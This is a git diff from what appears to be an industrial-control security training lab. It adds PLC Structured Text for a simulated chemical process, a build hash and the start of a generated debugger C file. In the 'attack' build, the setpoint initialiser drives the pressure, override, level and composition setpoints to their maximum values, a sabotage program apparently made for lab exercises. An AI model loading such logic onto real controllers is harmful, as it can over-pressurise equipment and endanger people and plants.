MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, 